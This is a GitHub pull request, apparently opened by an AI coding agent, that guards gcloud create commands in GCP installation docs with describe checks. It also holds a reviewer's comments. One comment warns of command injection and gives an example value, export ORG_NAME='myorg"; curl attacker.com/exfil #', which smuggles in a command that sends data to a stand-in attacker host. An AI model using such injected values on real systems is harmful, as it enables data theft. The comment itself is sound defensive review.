Skip to content

fix(#644): make GCP resource creation commands idempotent for reinstall #800

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
fullsend-ai-coder wants to merge 1 commit into from
+17 −4
Closed

fix(#644): make GCP resource creation commands idempotent for reinstall #800

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 17 additions & 4 deletions docs/guides/admin/installation.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -36,13 +36,17 @@ Fullsend supports two methods for authenticating to Vertex AI. **Workload Identi

WIF lets GitHub Actions exchange short-lived OIDC tokens for GCP access tokens. No service account keys are stored.

> **Re-running these commands is safe.** Each `create` command is guarded by a `describe` check so it skips creation if the resource already exists. You can re-run the entire setup when upgrading or reinstalling.

**1a. Create a service account**

```bash
export GCP_PROJECT="<gcp-project>"
export ORG_NAME="<org-name>"

gcloud iam service-accounts create fullsend-agent \
gcloud iam service-accounts describe "fullsend-agent@$GCP_PROJECT.iam.gserviceaccount.com" \
Copy link
Copy Markdown
Contributor

@ralphbean ralphbean May 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[important] Inconsistent idempotency coverage

Option A (WIF) is now fully idempotent after this PR, but Option B (legacy) still has a non-idempotent step: the gcloud iam service-accounts keys create sa-key.json command around line 131 is not guarded. If users re-run Option B and sa-key.json already exists, they'll get an error.

Recommendation for future work: Either add a guard check for key creation (e.g., test -f sa-key.json || gcloud iam service-accounts keys create...) or update the callout to clarify that Option B requires manual cleanup of sa-key.json before re-running.

Not blocking this PR since the WIF path (recommended) is fully fixed.

--project="$GCP_PROJECT" 2>/dev/null \
Copy link
Copy Markdown
Contributor

@ralphbean ralphbean May 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[important] Command injection risk via environment variables

The documentation instructs users to set $GCP_PROJECT and $ORG_NAME without validation guidance. While GCP project IDs have format restrictions, org names in the GitHub context do not. If these values contain shell metacharacters (backticks, $(), semicolons, pipes), they could be interpreted as commands.

Example:

export ORG_NAME='myorg"; curl attacker.com/exfil #'

Context: Since this is documentation for commands users run manually in their own shell (not executable code), the risk is lower. However, users copy/pasting might not realize the validation requirement.

Recommendation for future work: Add a validation note at the beginning of section 1 warning users to verify their environment variables don't contain special characters, or provide example validation:

if [[ ! "$GCP_PROJECT" =~ ^[a-z][a-z0-9-]{4,28}[a-z0-9]$ ]]; then
  echo "Invalid GCP_PROJECT format"
  exit 1
fi

Deferred to future documentation improvements.

|| gcloud iam service-accounts create fullsend-agent \
--display-name="Fullsend agent inference" \
--project="$GCP_PROJECT"

Copy link
Copy Markdown
Contributor

@ralphbean ralphbean May 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[moderate] Error suppression trade-offs

The 2>/dev/null pattern suppresses all stderr from the describe commands, not just "NOT_FOUND" errors. This hides legitimate problems including:

  • Actual permission issues (if user lacks iam.serviceAccounts.get)
  • Authentication failures
  • Network errors
  • Malformed project IDs
  • API quota exhaustion

Trade-off analysis:

  • Pro: Cleaner UX when resources already exist (no scary error messages)
  • Con: Users with real permission problems won't see helpful error messages

Impact: Moderate because the create command errors are NOT suppressed, so users will eventually see an error—it just might be confusing which operation actually failed.

Alternative for future consideration: More selective error handling that only suppresses NOT_FOUND (though this is more complex in shell). Or add troubleshooting guidance that if resources don't appear to be created, manually verify permissions.

Acceptable UX trade-off for now, but worth documenting for maintainability.

Expand All @@ -55,12 +59,19 @@ gcloud projects add-iam-policy-binding "$GCP_PROJECT" \
**1b. Create a Workload Identity Pool and OIDC Provider**

```bash
gcloud iam workload-identity-pools create github-actions \
gcloud iam workload-identity-pools describe github-actions \
--location=global \
--project="$GCP_PROJECT" 2>/dev/null \
|| gcloud iam workload-identity-pools create github-actions \
--location=global \
--display-name="GitHub Actions" \
--project="$GCP_PROJECT"

gcloud iam workload-identity-pools providers create-oidc github \
gcloud iam workload-identity-pools providers describe github \
--location=global \
--workload-identity-pool=github-actions \
--project="$GCP_PROJECT" 2>/dev/null \
|| gcloud iam workload-identity-pools providers create-oidc github \
--location=global \
--workload-identity-pool=github-actions \
--issuer-uri="https://token.actions.githubusercontent.com" \
Expand Down Expand Up @@ -113,7 +124,9 @@ Create a service account with the `Vertex AI User` role and download its key:
export GCP_PROJECT="<gcp-project>"
export ORG_NAME="<org-name>"

gcloud iam service-accounts create "$ORG_NAME" \
gcloud iam service-accounts describe "$ORG_NAME@$GCP_PROJECT.iam.gserviceaccount.com" \
--project="$GCP_PROJECT" 2>/dev/null \
|| gcloud iam service-accounts create "$ORG_NAME" \
--display-name="Fullsend for $ORG_NAME" \
--project="$GCP_PROJECT"

Expand Down
Loading